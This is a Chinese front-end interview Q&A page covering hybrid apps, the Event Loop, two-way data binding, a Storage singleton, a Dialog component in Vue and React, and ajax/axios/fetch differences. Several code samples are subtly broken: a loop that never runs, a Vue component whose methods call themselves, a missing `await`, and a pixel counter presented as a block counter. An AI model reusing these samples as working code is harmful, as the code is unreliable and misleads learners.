http://blog.poetries.top/2018/10/21/fe-interview-hybrid/ (opens new window)

Hybrid(混合应用)是指结合了原生应用和Web技术开发的应用程序。它通常在移动应用开发中使用,允许开发人员使用Web技术(如HTML、CSS和JavaScript)来构建跨平台的移动应用,并在原生应用中嵌入Web视图。

以下是我对Hybrid的理解:

  1. 跨平台开发:Hybrid应用具有跨平台的优势,通过使用Web技术开发一次,可以在多个平台上运行,如iOS和Android。这样可以节省开发时间和成本,并且能够更快地推出产品。
  2. 原生功能访问:Hybrid应用可以利用原生应用提供的功能和特性,如相机、地理定位、推送通知等。通过使用桥接技术,可以在Web视图中调用原生代码,实现对原生功能的访问和调用。
  3. Web技术栈:Hybrid应用使用Web技术栈进行开发,包括HTML、CSS和JavaScript。开发人员可以使用熟悉的Web开发工具和框架来构建应用程序,并且可以利用丰富的Web生态系统中的第三方库和工具。
  4. 在线更新:Hybrid应用可以通过Web进行在线更新,不需要用户手动更新应用程序。这使得开发人员能够快速修复错误、添加新功能,并将这些变更推送给用户,提供更好的用户体验。
  5. 性能权衡:与原生应用相比,Hybrid应用在性能方面可能存在一些权衡。由于在Web视图中运行,Hybrid应用的性能可能受到一些限制,特别是在处理复杂的图形和动画效果时。然而,随着Web技术的不断发展,这些性能限制正在逐渐减小。

总的来说,Hybrid应用是一种将Web技术与原生应用相结合的开发模式,提供了跨平台开发、访问原生功能、在线更新等优势。它在移动应用开发中具有一定的灵活性和便利性,可以满足开发人员快速开发和发布应用程序的需求。

以下是一个简单的示例代码,展示了如何使用Hybrid开发框架(例如Ionic)创建一个基本的Hybrid应用:

<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>Hybrid App</title>
  <!-- 引入Ionic框架 -->
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/ionic/3.9.2/css/ionic.min.css">
  <script src="https://cdnjs.cloudflare.com/ajax/libs/ionic/3.9.2/js/ionic.bundle.min.js"></script>
</head>
<body>
  <!-- Ionic提供的UI组件 -->
  <ion-header>
    <ion-navbar>
      <ion-title>Hybrid App</ion-title>
    </ion-navbar>
  </ion-header>
  <ion-content padding>
    <h2>Welcome to Hybrid App!</h2>
    <p>This is a hybrid application developed using Ionic framework.</p>
  </ion-content>

  <!-- 应用的脚本代码 -->
  <script>
    // 在Ionic的Angular控制器中编写业务逻辑
    angular.module('starter', ['ionic'])
      .controller('AppController', function($scope) {
        $scope.message = "Hello, Hybrid App!";
      });

    // 启动Ionic应用
    ionic.Platform.ready(function() {
      angular.bootstrap(document, ['starter']);
    });
  </script>
</body>
</html>

上述示例中使用了Ionic框架,通过引入Ionic的CSS和JavaScript库,我们可以使用Ionic提供的UI组件和工具来构建Hybrid应用。在应用的脚本代码中,使用AngularJS来编写业务逻辑,控制器中定义了一个message变量,可以在视图中显示。最后,通过ionic.Platform.ready来启动Ionic应用。

请注意,这只是一个简单的示例,实际的Hybrid应用可能包含更多的功能和复杂性。不同的Hybrid开发框架可能有不同的用法和特性,具体的开发代码和结构会根据所选框架而有所不同。

# 86 前端面试之组件化

http://blog.poetries.top/2018/10/21/fe-interview-component/ (opens new window)

# 87 前端面试之MVVM浅析

http://blog.poetries.top/2018/10/21/fe-interview-mvvm/ (opens new window)

# 88 实现效果,点击容器内的图标,图标边框变成border 1px solid red,点击空白处重置

const box = document.getElementById('box');
function isIcon(target) {
  return target.className.includes('icon');
}

box.onClick = function(e) {
  e.stopPropagation();
  const target = e.target;
  if (isIcon(target)) {
    target.style.border = '1px solid red';
  }
}
const doc = document;
doc.onclick = function(e) {
  const children = box.children;
  for(let i; i < children.length; i++) {
    if (isIcon(children[i])) {
      children[i].style.border = 'none';
    }
  }
}

# 89 请简单实现双向数据绑定MVVM

<input id="input"/>

<script>
  const data = {};
  const input = document.getElementById('input');
  Object.defineProperty(data, 'text', {
    get() {
      return this.value;
    },
    set(value) {
      input.value = value;
      this.value = value;
    }
  });
  input.addEventListener('change', function(e) {
    data.text = e.target.value;
  });
</script>

当你修改输入框的值时,data.text会更新,而当你设置data.text的值时,输入框的值也会更新。这实现了简单的双向数据绑定。请注意,这只是一个基础示例,实际的MVVM框架会更复杂且功能更强大

# 90 实现Storage,使得该对象为单例,并对localStorage进行封装设置值setItem(key,value)和getItem(key)

var instance = null;
class Storage {
  static getInstance() {
    if (!instance) {
      instance = new Storage();
    }
    return instance;
  }

  setItem(key, value) {
    localStorage.setItem(key, value);
  }

  getItem(key) {
    return localStorage.getItem(key);
  }
}

现在,你可以使用Storage.getInstance()来获取Storage的单例对象,并使用setItemgetItem方法来设置和获取localStorage中的值。

// 使用示例
const storage = Storage.getInstance();
storage.setItem('name', 'poetry');
const name = storage.getItem('name');
console.log(name); // 输出: poetry

# 91 谈谈你对Event Loop的理解

前端面试中关于事件循环(Event Loop)的考点主要包括以下内容:

  1. 事件循环的基本原理:介绍 JavaScript 的单线程特性,事件循环的概念和工作原理,以及任务队列(Task Queue)的概念。
  2. 宏任务和微任务:区分宏任务(Macrotask)和微任务(Microtask)的概念,理解它们在事件循环中的执行顺序。
  3. 常见的宏任务和微任务:了解常见的宏任务和微任务的类型,如 setTimeoutsetIntervalPromiseMutationObserver 等。
  4. 异步操作的执行顺序:理解异步操作的执行顺序,如何在事件循环中处理异步代码,微任务优先于宏任务执行等。
  5. 宏任务中的异步操作:了解在宏任务中的异步操作(例如 setTimeout)是如何被添加到任务队列中的,以及它们的执行时机。
  6. 浏览器中的事件循环和 Node.js 中的事件循环:了解浏览器环境和 Node.js 环境下事件循环的差异,如 setImmediate 的区别等。

了解和掌握事件循环的原理和机制对于理解 JavaScript 异步编程非常重要。在面试中,常常会通过让求职者解释事件循环的执行顺序、分析代码的输出结果等方式来考察他们对事件循环的理解。

首先,js是单线程的,主要的任务是处理用户的交互,而用户的交互无非就是响应DOM的增删改,使用事件队列的形式,一次事件循环只处理一个事件响应,使得脚本执行相对连续,所以有了事件队列,用来储存待执行的事件,那么事件队列的事件从哪里被push进来的呢。那就是另外一个线程叫事件触发线程做的事情了,他的作用主要是在定时触发器线程、异步HTTP请求线程满足特定条件下的回调函数push到事件队列中,等待js引擎空闲的时候去执行,当然js引擎执行过程中有优先级之分,首先js引擎在一次事件循环中,会先执行js线程的主任务,然后会去查找是否有微任务microtask(promise),如果有那就优先执行微任务,如果没有,在去查找宏任务macrotask(setTimeout、setInterval)进行执行

众所周知 JS 是门非阻塞单线程语言,因为在最初 JS 就是为了和浏览器交互而诞生的。如果 JS 是门多线程的语言话,我们在多个线程中处理 DOM 就可能会发生问题(一个线程中新加节点,另一个线程中删除节点)

  • JS 在执行的过程中会产生执行环境,这些执行环境会被顺序的加入到执行栈中。如果遇到异步的代码,会被挂起并加入到 Task(有多种 task) 队列中。一旦执行栈为空,Event Loop 就会从 Task 队列中拿出需要执行的代码并放入执行栈中执行,所以本质上来说 JS 中的异步还是同步行为

console.log('script start');

setTimeout(function() {
  console.log('setTimeout');
}, 0);

console.log('script end');

不同的任务源会被分配到不同的 Task 队列中,任务源可以分为 微任务(microtask) 和 宏任务(macrotask)。在 ES6 规范中,microtask 称为 jobsmacrotask 称为 task

console.log('script start');

setTimeout(function() {
  console.log('setTimeout');
}, 0);

new Promise((resolve) => {
    console.log('Promise')
    resolve()
}).then(function() {
  console.log('promise1');
}).then(function() {
  console.log('promise2');
});

console.log('script end');
// script start => Promise => script end => promise1 => promise2 => setTimeout

以上代码虽然 setTimeout 写在 Promise 之前,但是因为 Promise 属于微任务而 setTimeout 属于宏任务

微任务

  • process.nextTick
  • promise
  • Object.observe
  • MutationObserver

宏任务

  • script
  • setTimeout
  • setInterval
  • setImmediate
  • I/O
  • UI rendering

宏任务中包括了 script ,浏览器会先执行一个宏任务,接下来有异步代码的话就先执行微任务

所以正确的一次 Event loop 顺序是这样的

  • 执行同步代码,这属于宏任务
  • 执行栈为空,查询是否有微任务需要执行
  • 执行所有微任务
  • 必要的话渲染 UI
  • 然后开始下一轮 Event loop,执行宏任务中的异步代码

通过上述的 Event loop 顺序可知,如果宏任务中的异步代码有大量的计算并且需要操作 DOM 的话,为了更快的响应界面响应,我们可以把操作 DOM 放入微任务中

setTimeout(function () {
  console.log("1");
}, 0);
async function async1() {
  console.log("2");
  const data = await async2();
  console.log("3");
  return data;
}
async function async2() {
  return new Promise((resolve) => {
    console.log("4");
    resolve("async2的结果");
  }).then((data) => {
    console.log("5");
    return data;
  });
}
async1().then((data) => {
  console.log("6");
  console.log(data);
});
new Promise(function (resolve) {
  console.log("7");
  //   resolve()
}).then(function () {
  console.log("8");
});

输出结果:247536 async2 的结果 1

# 92 JavaScript 对象生命周期的理解

JavaScript 对象的生命周期可以概括为以下几个阶段:

  1. 创建阶段:当使用 new 关键字或对象字面量语法创建一个对象时,JavaScript 引擎会为该对象分配内存,并将其初始化为一个空对象。
  2. 使用阶段:在对象创建后,可以对其进行属性的读取、修改和方法的调用等操作。对象被使用时,它可能会被传递给其他函数或存储在变量中,以供后续操作使用。
  3. 引用阶段:在对象的使用过程中,其他变量或函数可能会引用该对象,形成对该对象的引用关系。这些引用关系可以是直接的,也可以是通过其他对象的属性或方法间接引用的。
  4. 回收阶段:当一个对象不再被引用时,或者所有引用都被循环引用时,垃圾回收机制会将其标记为可回收,并在适当的时候回收该对象所占用的内存。垃圾回收器定期扫描内存中的对象,检查它们的引用情况,并释放那些不再被引用的对象。

需要注意的是,JavaScript 使用自动垃圾回收机制来管理内存,开发者不需要显式地释放对象占用的内存。垃圾回收器会自动跟踪对象的引用关系,并在适当的时候回收无用的对象。开发者可以通过将对象的引用置为 null 来显式地解除对对象的引用,以帮助垃圾回收器更早地回收对象。

在浏览器环境中,垃圾回收器通常使用标记-清除算法来判断对象是否可回收。当一个对象不再可达时,即没有任何引用指向该对象,垃圾回收器会将其标记为可回收,并在垃圾回收的过程中将其释放。一些现代的浏览器还使用了更高级的垃圾回收算法,如分代回收和增量标记等,以提高垃圾回收的效率和性能。

总结来说,JavaScript 对象的生命周期包括创建、使用和回收三个阶段。开发者无需显式地管理对象的内存,而是通过使用对象和及时解除对象的引用来帮助垃圾回收器自动回收不再使用的对象。

# 93 我现在有一个canvas,上面随机布着一些黑块,请实现方法,计算canvas上有多少个黑块

要计算 canvas 上有多少个黑块,需要遍历 canvas 上的每个像素,并检查该像素的颜色是否为黑色。以下是一种实现方法:

function countBlackBlocks(canvas) {
  const context = canvas.getContext('2d');
  const imageData = context.getImageData(0, 0, canvas.width, canvas.height);
  const pixels = imageData.data;
  let blackCount = 0;

  for (let i = 0; i < pixels.length; i += 4) {
    // 获取像素的 RGB 颜色值
    const red = pixels[i];
    const green = pixels[i + 1];
    const blue = pixels[i + 2];

    // 判断颜色是否为黑色
    if (red === 0 && green === 0 && blue === 0) {
      blackCount++;
    }
  }

  return blackCount;
}

使用该方法,传入 canvas 元素作为参数,即可计算 canvas 上有多少个黑块。该方法通过获取 canvas 上的像素数据,遍历每个像素并判断其颜色是否为黑色(RGB 值为 [0, 0, 0]),累计黑色像素的数量,并最后返回计数结果。

请注意,为了避免跨域问题,确保 canvas 的源与脚本执行的域相同,或者将 canvas 的图片源设为与脚本执行的域相同。另外,如果 canvas 的大小较大,遍历像素的操作可能会比较耗时,可能会影响性能。因此,在处理较大的 canvas 时,需要注意性能优化。

# 94 现在要你完成一个Dialog组件,说说你设计的思路?它应该有什么功能?

基于上述需求,以下是设计思路和Vue实现示例:

设计思路:

  1. 创建一个Dialog组件,它是一个可控的组件,接收visibleonOkonCancel等属性。
  2. 使用v-if或者v-show来控制Dialog组件的显示与隐藏。
  3. 在组件内部,使用插槽(slot)来允许自定义头部和底部内容。
  4. 在Dialog组件的模板中,设置一个蒙层(mask),用于遮盖底层内容。点击蒙层时触发onCancel事件关闭Dialog。
  5. 在Dialog组件的内容区域,设置一个滚动条容器,当内容超出容器高度时显示滚动条。
  6. 根据需要,可以在组件外部指定渲染位置、设置外层样式等。

Vue实现示例:

<template>
  <div v-if="visible" class="dialog-container">
    <div class="dialog-mask" @click="onCancel"></div>
    <div class="dialog-content">
      <div class="dialog-header">
        <slot name="header">
          <h2>Default Header</h2>
        </slot>
      </div>
      <div class="dialog-body">
        <slot></slot>
      </div>
      <div class="dialog-footer">
        <slot name="footer">
          <button @click="onOk">Confirm</button>
          <button @click="onCancel">Cancel</button>
        </slot>
      </div>
    </div>
  </div>
</template>

<script>
export default {
  props: {
    visible: {
      type: Boolean,
      default: false
    },
    onOk: {
      type: Function,
      default: () => {}
    },
    onCancel: {
      type: Function,
      default: () => {}
    }
  },
  watch: {
    visible(newValue) {
      if (newValue) {
        document.body.style.overflow = 'hidden';
      } else {
        document.body.style.overflow = '';
      }
    }
  },
  methods: {
    onOk() {
      this.onOk();
    },
    onCancel() {
      this.onCancel();
    }
  }
};
</script>

<style>
.dialog-container {
  position: fixed;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  display: flex;
  justify-content: center;
  align-items: center;
}

.dialog-mask {
  position: fixed;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  background-color: rgba(0, 0, 0, 0.5);
}

.dialog-content {
  background-color: white;
  width: 400px;
  border-radius: 4px;
  overflow: hidden;
}

.dialog-header {
  padding: 16px;
  border-bottom: 1px solid #ccc;
}

.dialog-body {
  padding: 16px;
  max-height: 400px;
  overflow-y: auto;
}

.dialog-footer {
  padding: 16px;
  border-top: 1px solid #ccc;
  text-align: right;
}

.dialog-footer button {
  margin-left: 8px;
}
</style>

在使用示例中,我们可以在父组件中通过v-model指令来控制visible属性的值,从而控制Dialog组件的显示和隐藏。同时,可以通过@ok@cancel事件监听来处理确定和取消按钮的点击事件。

<template>
  <div>
    <button @click="showDialog">Show Dialog</button>
    <Dialog v-model="dialogVisible" @ok="handleOk" @cancel="handleCancel">
      <template #header>
        <h2>Custom Header</h2>
      </template>
      <p>This is the dialog content.</p>
      <template #footer>
        <button @click="handleCustomAction">Custom Action</button>
      </template>
    </Dialog>
  </div>
</template>

<script>
import Dialog from './Dialog';

export default {
  components: {
    Dialog
  },
  data() {
    return {
      dialogVisible: false
    };
  },
  methods: {
    showDialog() {
      this.dialogVisible = true;
    },
    handleOk() {
      // Handle ok button click
      console.log('Ok button clicked');
      this.dialogVisible = false;
    },
    handleCancel() {
      // Handle cancel button click
      console.log('Cancel button clicked');
      this.dialogVisible = false;
    },
    handleCustomAction() {
      // Handle custom action button click
      console.log('Custom action button clicked');
    }
  }
};
</script>

注意,在使用示例中,我们引入了自定义的Dialog组件,并在父组件中进行注册。然后使用v-model绑定dialogVisible属性来控制Dialog组件的显示和隐藏。通过监听@ok@cancel事件来处理确定和取消按钮的点击事件,并在方法中进行相应的处理逻辑。

这样,当点击"Show Dialog"按钮时,Dialog组件将会显示出来,并且可以根据需要自定义头部、内容和底部按钮,同时可以处理确定和取消按钮的点击事件。

React Hooks实现

下面是使用React Hooks实现的Dialog组件示例:

import React, { useState } from 'react';

const Dialog = ({ visible, onCancel, onOk, children }) => {
  const [dialogVisible, setDialogVisible] = useState(visible);

  const handleCancel = () => {
    setDialogVisible(false);
    onCancel && onCancel();
  };

  const handleOk = () => {
    setDialogVisible(false);
    onOk && onOk();
  };

  return (
    <>
      {dialogVisible && (
        <div className="dialog-wrapper">
          <div className="dialog-mask" onClick={handleCancel}></div>
          <div className="dialog-content">
            <div className="dialog-header">
              <h2>Dialog Header</h2>
            </div>
            <div className="dialog-body">{children}</div>
            <div className="dialog-footer">
              <button onClick={handleOk}>OK</button>
              <button onClick={handleCancel}>Cancel</button>
            </div>
          </div>
        </div>
      )}
    </>
  );
};

export default Dialog;

在这个示例中,我们使用了useState来定义一个dialogVisible状态,来控制Dialog组件的显示和隐藏。当visible属性发生变化时,通过setDialogVisible方法来更新dialogVisible状态。

handleCancelhandleOk方法中,我们调用setDialogVisible(false)来隐藏Dialog组件,并触发相应的onCancelonOk回调函数。

在返回的JSX中,我们根据dialogVisible状态来判断是否渲染Dialog组件。当dialogVisibletrue时,渲染Dialog组件的内容,包括遮罩层、头部、内容和底部按钮。点击遮罩层时,调用handleCancel方法,关闭Dialog。

使用这个Dialog组件时,可以通过传递visibleonCancelonOk属性来控制显示和隐藏,以及处理取消和确定按钮的点击事件。

import React, { useState } from 'react';
import Dialog from './Dialog';

const App = () => {
  const [dialogVisible, setDialogVisible] = useState(false);

  const showDialog = () => {
    setDialogVisible(true);
  };

  const handleOk = () => {
    console.log('OK button clicked');
    setDialogVisible(false);
  };

  const handleCancel = () => {
    console.log('Cancel button clicked');
    setDialogVisible(false);
  };

  return (
    <div>
      <button onClick={showDialog}>Show Dialog</button>
      <Dialog visible={dialogVisible} onCancel={handleCancel} onOk={handleOk}>
        <p>This is the dialog content.</p>
      </Dialog>
    </div>
  );
};

export default App;

在这个示例中,我们在父组件中使用useState定义了一个dialogVisible状态,并提供了showDialoghandleOkhandleCancel方法来控制Dialog组件的显示和隐藏,以及处理确定和取消按钮的点击事件。

当点击"Show Dialog"按钮时,Dialog组件将会显示出来,并且可以根据需要传递内容,并处理确定和取消按钮的点击事件。

# 95 ajax、axios、fetch区别

总结一下ajax、axios和fetch的区别:

  • ajax是一种技术统称,基于原生的XHR开发,已经有了fetch的替代方案。
  • fetch是一个原生的API,用于进行网络请求,支持Promise API,但在某些方面功能较为简单,需要进行封装来处理错误、超时等情况。
  • axios是一个第三方库,可以用于浏览器和Node.js环境中发出HTTP请求,支持Promise API,提供了更多的功能和选项,如拦截请求和响应、转换数据、取消请求等。

下面是它们的一些主要区别和特点:

  • 代码简洁性:fetch和axios相比,ajax的代码较为冗长,需要手动配置各项参数;fetch和axios使用更简洁,支持链式调用和配置对象参数。
  • 浏览器兼容性:fetch是基于原生的Fetch API,较新的API,不支持低版本的浏览器,需要进行兼容性处理;ajax和axios对各种浏览器有较好的兼容性。
  • 功能丰富性:axios提供了更多的功能和选项,如拦截请求和响应、转换数据、取消请求等,而fetch较为简单,需要进行封装来实现这些功能。
  • 错误处理:axios和fetch支持Promise API,可以使用catch方法捕获错误;ajax需要通过error回调函数来处理错误。
  • 请求取消:axios和fetch支持请求的取消操作,可以提前终止请求;ajax没有原生的取消请求的方法。
  • 默认带cookie:axios和ajax默认会自动携带请求的cookie信息,而fetch默认不会携带,需要手动配置。
  • 请求进度监测:axios和ajax支持原生监测请求的进度,如上传和下载的进度;fetch没有原生的请求进度监测方法。

jQuery ajax

$.ajax({
  type: 'POST',
  url: url,
  data: data,
  dataType: dataType,
  success: function () {},
  error: function () {}
});

优缺点:

  • 本身是针对MVC的编程,不符合现在前端MVVM的浪潮
  • 基于原生的XHR开发,XHR本身的架构不清晰,已经有了fetch的替代方案
  • JQuery整个项目太大,单纯使用ajax却要引入整个JQuery非常的不合理(采取个性化打包的方案又不能享受CDN服务)

axios

axios({
  method: 'post',
  url: '/user/12345',
  data: {
      firstName: 'Fred',
      lastName: 'Flintstone'
  }
})
.then(function (response) {
  console.log(response);
})
.catch(function (error) {
  console.log(error);
});

优缺点:

  • 从浏览器中创建 XMLHttpRequest
  • node.js 发出 http 请求
  • 支持 Promise API
  • 拦截请求和响应
  • 转换请求和响应数据
  • 取消请求
  • 自动转换JSON数据
  • 客户端支持防止CSRF/XSRF

fetch

try {
  let response = await fetch(url);
  let data = response.json();
  console.log(data);
} catch(e) {
  console.log("Oops, error", e);

}

优缺点:

  • fetcht只对网络请求报错,对400500都当做成功的请求,需要封装去处理
  • fetch默认不会带cookie,需要添加配置项
  • fetch不支持abort,不支持超时控制,使用setTimeoutPromise.reject的实现的超时控制并不能阻止请求过程继续在后台运行,造成了量的浪费
  • fetch没有办法原生监测请求的进度,而XHR可以

# 96 JavaScript的组成

JavaScript由三部分组成:

  1. ECMAScript(核心):ECMAScript是JavaScript的基础,定义了语言的语法、类型、语句、关键字等。它规定了JavaScript的基本语法、数据类型、函数、运算符、控制流等核心特性,并提供了对数组、对象、字符串、正则表达式等的操作方法和功能。ECMAScript的版本以ES6(ES2015)为基准,随着时间的推移,新版本的ECMAScript引入了更多的语言特性和功能。
  2. DOM(文档对象模型):DOM是一种表示和操作HTML、XML文档的接口。它定义了文档的结构、属性和方法,允许开发者通过JavaScript来访问和修改网页的内容、结构和样式。DOM将文档表示为一个树形结构,其中每个节点代表文档中的一个元素、属性、文本等。开发者可以使用DOM提供的API对这些节点进行增删改查操作,实现动态更新和交互效果。
  3. BOM(浏览器对象模型):BOM是一种提供了与浏览器窗口进行交互的接口。它提供了访问浏览器窗口、处理窗口尺寸、导航历史、处理Cookie、发送HTTP请求等功能。BOM中的对象包括windownavigatorlocationhistoryscreen等,开发者可以使用这些对象来控制浏览器的行为和获取相关信息。

这三部分共同构成了JavaScript的整体,使其成为一种强大的编程语言,能够在网页中实现丰富的交互和动态效果。

# 97 检测浏览器版本有哪些方式?

检测浏览器版本可以使用以下几种方式:

  1. 使用navigator.userAgent:通过检查navigator.userAgent属性,可以获取包含了浏览器相关信息的用户代理字符串。可以根据用户代理字符串中的特定关键字或标识符来确定浏览器的类型和版本。例如,使用UA.toLowerCase().indexOf('chrome')可以检测是否为Chrome浏览器。
  2. 使用window对象的成员:根据浏览器的不同,window对象的成员可能会有所差异。可以通过检查特定的window对象成员是否存在来确定浏览器的类型和版本。例如,通过检查'ActiveXObject' in window可以判断是否为IE浏览器。
  3. 使用现成的JavaScript库或框架:有一些专门用于检测浏览器类型和版本的JavaScript库或框架,如BowserPlatform.js等。这些库提供了简单易用的API,可以方便地获取浏览器信息。

需要注意的是,检测浏览器版本可能会受到用户代理字符串的伪造或篡改,因此并不是一种绝对可靠的方法。在实际应用中,最好结合多种方式进行浏览器版本的检测,以增加准确性和可靠性。

# 98 介绍JS有哪些内置对象

当提到JavaScript的内置对象时,以下是一些常见的和全面的内置对象的列表:

  1. 基本数据类型封装对象
  • Object:用于创建对象的基类。
  • Array:用于创建和操作数组的对象。
  • Boolean:表示布尔值的对象,包括truefalse
  • Number:表示数字的对象,可以进行数值操作和转换。
  • String:表示字符串的对象,提供了字符串操作和处理的方法。
  • BigInt:表示任意精度整数的对象,用于处理超出Number范围的整数。
  1. 功能类对象
  • Function:用于定义和调用函数的对象。
  • Date:用于处理日期和时间的对象。
  • RegExp:用于进行正则表达式匹配和操作的对象。
  • Error:表示错误的对象,用于抛出和处理异常。
  • Math:提供了各种数学运算的方法和常量。
  1. 集合类对象
  • Set:表示一组唯一值的集合。
  • Map:提供了键值对的数据结构,可以使用任何数据类型作为键。
  • WeakSet:类似于Set,但只能存储对象引用,并且不会阻止垃圾回收。
  • WeakMap:类似于Map,但只能使用对象作为键,并且不会阻止垃圾回收。
  1. 其他对象
  • Symbol:表示唯一标识符的数据类型,用于创建对象的属性键。
  • Promise:用于处理异步操作的对象,提供了更好的处理异步任务的方式。
  • Proxy:用于创建对象的代理,可以拦截并自定义对象的操作。
  • Reflect:提供了一组静态方法,用于操作对象的属性和方法。
  • JSON:用于解析和序列化JSON数据的对象。

这只是一些常见的内置对象,JavaScript还有许多其他内置对象和全局函数,用于处理各种类型的数据和操作。根据不同的需求和场景,可以选择适合的内置对象来使用。

# 99 说几条写JavaScript的基本规范

以下是一些常见的JavaScript编码规范:

  1. 使用一致的缩进:推荐使用四个空格进行缩进,而不是制表符。
  2. 使用一致的代码风格:在代码中使用一致的花括号(大括号)风格,可以是"K&R"风格(花括号放在行尾)或"Allman"风格(花括号独占一行)。
  3. 使用分号结束语句:在每条语句的末尾使用分号结束,这有助于避免意外的错误。
  4. 声明变量和函数:在使用之前,先声明变量和函数,避免隐式的全局变量。
  5. 命名约定:使用有意义且符合约定的变量和函数命名,采用驼峰命名法,首字母小写,构造函数使用大写字母开头,常量全大写。
  6. 使用严格模式:在脚本或函数的开头使用严格模式('use strict'),可以帮助捕获潜在的错误并使代码更加安全。
  7. 编写清晰的注释:使用注释来解释代码的用途、思路或重要细节,有助于他人理解代码。
  8. 格式化对象和数组:使用花括号{}来声明对象,使用方括号[]来声明数组,并且按照一定的格式排列其中的元素,提高可读性。
  9. 使用单引号或双引号:可以选择使用单引号或双引号来表示字符串,但要保持一致性。
  10. 避免使用全局变量:尽量避免使用全局变量,使用模块化的方式组织代码,减少命名冲突和意外的副作用。

这些规范有助于提高代码的可读性、可维护性和一致性,使团队协作更加顺畅,并降低代码出错的风险。在编写JavaScript代码时,遵循一致的编码规范是一个良好的实践。

# 100 如何编写高性能的JavaScript

以下是一些编写高性能JavaScript的技巧:

  1. 使用严格模式:在JavaScript代码中使用严格模式,可以帮助检测潜在的错误,并提高代码性能。
  2. 将脚本放在底部:将JavaScript脚本放在HTML页面的底部,这样可以避免阻塞页面的渲染,提高页面加载速度。
  3. 打包和压缩代码:将JavaScript脚本进行打包和压缩,减少网络请求和文件大小,提高加载速度。
  4. 非阻塞下载:使用异步加载的方式下载JavaScript脚本,通过将脚本放在<script>标签的asyncdefer属性中,避免阻塞页面的渲染。
  5. 减少全局变量的使用:尽量避免过多使用全局变量,使用局部变量来保存数据,减少作用域链的查找时间。
  6. 优化循环和迭代:在循环和迭代过程中,尽量减少重复的计算和操作,将需要重复使用的值存储在局部变量中,避免重复访问对象成员。
  7. 缓存DOM访问:在访问DOM节点时,尽量将访问结果缓存起来,避免重复查询DOM树,提高代码执行效率。
  8. 避免使用eval()和Function()构造器:这些方法会动态编译和执行代码,对性能有一定的影响,尽量避免使用它们。
  9. 使用直接量创建对象和数组:在创建对象和数组时,尽量使用直接量的方式,避免使用构造函数,这样可以减少额外的函数调用和内存分配。
  10. 最小化重绘和回流:重绘(repaint)和回流(reflow)是页面渲染的过程,它们会消耗大量的计算资源,尽量避免频繁的重绘和回流,可以通过合并操作、使用CSS动画等方式来优化。 当涉及到编写高性能的JavaScript代码时,还有一些其他的技巧可以考虑:
  11. 减少对象成员嵌套:在访问对象的成员时,尽量减少多层嵌套,这样可以提高访问速度。例如,将obj1.obj2.prop改为obj1Prop
  12. 避免频繁的字符串操作:字符串操作比较耗费性能,尤其是在循环中频繁拼接字符串。可以使用数组或模板字符串来优化字符串操作。
  13. 使用事件委托:对于需要监听多个子元素事件的情况,可以将事件监听器添加到它们的父元素上,通过事件冒泡机制来处理事件。这样可以减少事件监听器的数量,提高性能。
  14. 避免频繁的重绘:如果需要对DOM进行多次修改,最好将这些修改操作放在一起,而不是分散在多个地方,这样可以减少重绘次数。
  15. 使用局部作用域:将代码封装在函数或模块中,利用局部作用域来限制变量的作用范围,避免命名冲突和全局变量污染。
  16. 使用合适的数据结构和算法:在处理大量数据或复杂逻辑时,选择合适的数据结构和算法可以提高代码的效率。了解不同数据结构和算法的特点,选择最佳的方案。
  17. 节流和防抖:对于一些频繁触发的事件(如滚动、调整窗口大小等),可以使用节流和防抖的技术来限制事件的触发频率,减少不必要的计算和操作。
  18. 使用性能分析工具:利用浏览器提供的性能分析工具(如Chrome的开发者工具)来检测和分析代码的性能瓶颈,找到需要优化的地方。
  19. 避免使用过时的方法和特性:某些方法和特性可能已经过时或存在性能问题,尽量避免使用它们,使用最新的标准和API来编写代码。
  20. 定期进行代码优化和重构:不断优化和重构代码,去除冗余和低效的部分,使代码保持简洁、高效和易于维护。

综合使用这些技巧,可以显著提高JavaScript代码的性能和执行效率。但需要注意的是,优化代码时应该根据具体情况进行评估和测试,避免过度优化导致代码可读性和可维护性的降低。

# 101 描述浏览器的渲染过程,DOM树和渲染树的区别

浏览器的渲染过程:

  1. 解析 HTML 构建 DOM(文档对象模型)树:浏览器将接收到的 HTML 文档解析成一个树状结构,该结构被称为 DOM 树。DOM 树表示了 HTML 文档的结构和内容。
  2. 解析 CSS 构建 CSSOM(CSS 对象模型)树:浏览器将接收到的 CSS 文件解析成一个树状结构,该结构被称为 CSSOM 树。CSSOM 树表示了 CSS 样式规则的层级和规则。
  3. 合并 DOM 树和 CSSOM 树生成渲染树(Render Tree):浏览器将 DOM 树和 CSSOM 树合并,生成一个渲染树(Render Tree)。渲染树只包含需要显示在页面上的节点,隐藏的节点(如 head)和不可见的节点(如 display: none)不包含在渲染树中。
  4. 布局(Layout):渲染树中的每个节点都有对应的布局信息,浏览器根据这些布局信息计算节点在屏幕中的位置和大小,这个过程称为布局或回流(reflow)。
  5. 绘制(Painting):浏览器根据渲染树的布局信息和样式信息,将节点绘制到屏幕上,这个过程称为绘制或重绘(repaint)。

DOM 树和渲染树的区别:

  • DOM 树(文档对象模型树)是由 HTML 文档解析而来,它反映了文档的结构和内容,包括 HTML 标签、文本节点和注释等。DOM 树中的每个节点都有其对应的 CSS 样式规则。
  • 渲染树(Render Tree)是由 DOM 树和 CSSOM 树合并而成,它是用于显示在浏览器中的树状结构。渲染树只包含需要显示在页面上的节点,不包含隐藏的节点和不可见的节点。渲染树中的每个节点都有其对应的布局信息和样式信息,用于计算节点在屏幕中的位置和大小,并将节点绘制到屏幕上。

总结:DOM 树表示了 HTML 文档的结构和内容,而渲染树是为了将文档在浏览器中显示而构建的树结构。渲染树只包含需要显示的节点,并且每个节点都有对应的布局和样式信息,用于计算和绘制节点在屏幕上的位置和外观。

# 102 script 的位置是否会影响首屏显示时间

  • script 的位置对首屏显示时间有影响。虽然浏览器在解析 HTML 生成 DOM 过程中,js 文件的下载是并行的,不需要 DOM 处理到 script 节点,但是脚本的执行会阻塞页面的解析和渲染。
  • 当浏览器遇到 script 标签时,会暂停解析 HTML,开始下载并执行脚本。只有脚本执行完毕后,浏览器才会继续解析和渲染页面。
  • 如果 script 标签放在 <head> 标签中,那么脚本的下载和执行会先于页面的渲染,这样会延迟首屏显示的开始时间。
  • 为了提高首屏显示时间,一般建议将 script 标签放在 <body> 标签底部,在大部分内容都已经显示出来后再加载和执行脚本,这样可以让页面尽快呈现给用户,提升用户体验。
